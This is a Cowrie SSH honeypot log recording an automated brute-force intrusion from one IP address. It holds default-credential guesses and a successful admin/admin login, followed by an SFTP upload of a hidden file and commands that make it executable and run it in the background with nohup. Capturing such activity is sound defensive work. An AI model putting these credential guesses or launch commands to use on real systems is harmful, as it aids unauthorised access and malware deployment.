{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.663133Z","src_ip":"159.203.171.163","session":"4c876709d930","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.667704Z","src_ip":"159.203.171.163","session":"35dabad09d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60176,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86c29e22927","protocol":"ssh","message":"New connection: 159.203.171.163:60176 (159.203.135.109:22) [session: b86c29e22927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.674435Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.677777Z","src_ip":"159.203.171.163","session":"35dabad09d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.683622Z","src_ip":"159.203.171.163","session":"3153063a76b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.687505Z","src_ip":"159.203.171.163","session":"819e1b5f45d9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.690603Z","src_ip":"159.203.171.163","session":"4eace2c11a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a71c8efb587","protocol":"ssh","message":"New connection: 159.203.171.163:60192 (159.203.135.109:22) [session: 5a71c8efb587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.699756Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.703524Z","src_ip":"159.203.171.163","session":"4eace2c11a17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.708975Z","src_ip":"159.203.171.163","session":"b86c29e22927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.720583Z","src_ip":"159.203.171.163","session":"b86c29e22927","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.727344Z","src_ip":"159.203.171.163","session":"5a71c8efb587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.741298Z","src_ip":"159.203.171.163","session":"5a71c8efb587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.756724Z","src_ip":"159.203.171.163","session":"77d7f9c9a7ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.771956Z","src_ip":"159.203.171.163","session":"35dabad09d9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.778697Z","src_ip":"159.203.171.163","session":"4eace2c11a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.796337Z","src_ip":"159.203.171.163","session":"4eace2c11a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.801292Z","src_ip":"159.203.171.163","session":"5a71c8efb587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.806406Z","src_ip":"159.203.171.163","session":"b86c29e22927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60196,"dst_ip":"159.203.135.109","dst_port":22,"session":"2de750e4bb75","protocol":"ssh","message":"New connection: 159.203.171.163:60196 (159.203.135.109:22) [session: 2de750e4bb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.816638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.833454Z","src_ip":"159.203.171.163","session":"2de750e4bb75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.847494Z","src_ip":"159.203.171.163","session":"2de750e4bb75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.884349Z","src_ip":"159.203.171.163","session":"2de750e4bb75","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":".sorry_dwZzw8m7","outfile":"var/lib/cowrie/downloads/2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a","shasum":"2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a","message":"SFTP Uploaded file \".sorry_dwZzw8m7\" to var/lib/cowrie/downloads/2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.331780Z","src_ip":"159.203.171.163","session":"2de750e4bb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.340397Z","src_ip":"159.203.171.163","session":"2de750e4bb75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":39012,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bb5c6a4375c","protocol":"ssh","message":"New connection: 159.203.171.163:39012 (159.203.135.109:22) [session: 7bb5c6a4375c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.344616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.348474Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.353273Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.364951Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.485928Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x /tmp/.sorry_dwZzw8m7","message":"CMD: chmod +x /tmp/.sorry_dwZzw8m7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.489583Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6f34525bb382ae92dad5790137dbcb81fe323216955a28f37e7a5bc51e17bbe9","size":71,"shasum":"6f34525bb382ae92dad5790137dbcb81fe323216955a28f37e7a5bc51e17bbe9","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/6f34525bb382ae92dad5790137dbcb81fe323216955a28f37e7a5bc51e17bbe9 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.504044Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.509487Z","src_ip":"159.203.171.163","session":"7bb5c6a4375c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.763489Z","src_ip":"159.203.171.163","session":"77d7f9c9a7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.777619Z","src_ip":"159.203.171.163","session":"35dabad09d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.811352Z","src_ip":"159.203.171.163","session":"5a71c8efb587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:05.817662Z","src_ip":"159.203.171.163","session":"b86c29e22927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":39024,"dst_ip":"159.203.135.109","dst_port":22,"session":"591cc5a94f72","protocol":"ssh","message":"New connection: 159.203.171.163:39024 (159.203.135.109:22) [session: 591cc5a94f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.499116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.503872Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.508783Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.519524Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.577857Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"nohup /tmp/.sorry_dwZzw8m7 >/tmp/.sorry_FyPpTeri.log 2>&1 &","message":"CMD: nohup /tmp/.sorry_dwZzw8m7 >/tmp/.sorry_FyPpTeri.log 2>&1 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.581273Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154","shasum":"f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154","destfile":"/tmp/.sorry_FyPpTeri.log","message":"Saved redir contents with SHA-256 f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154 to var/lib/cowrie/downloads/f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.594570Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cb27770c9ed9d988e036d2077d49220ba15206662b7cbe5564405bc51cdabbf0","size":0,"shasum":"cb27770c9ed9d988e036d2077d49220ba15206662b7cbe5564405bc51cdabbf0","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cb27770c9ed9d988e036d2077d49220ba15206662b7cbe5564405bc51cdabbf0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.598107Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:08.604364Z","src_ip":"159.203.171.163","session":"591cc5a94f72","protocol":"ssh"}
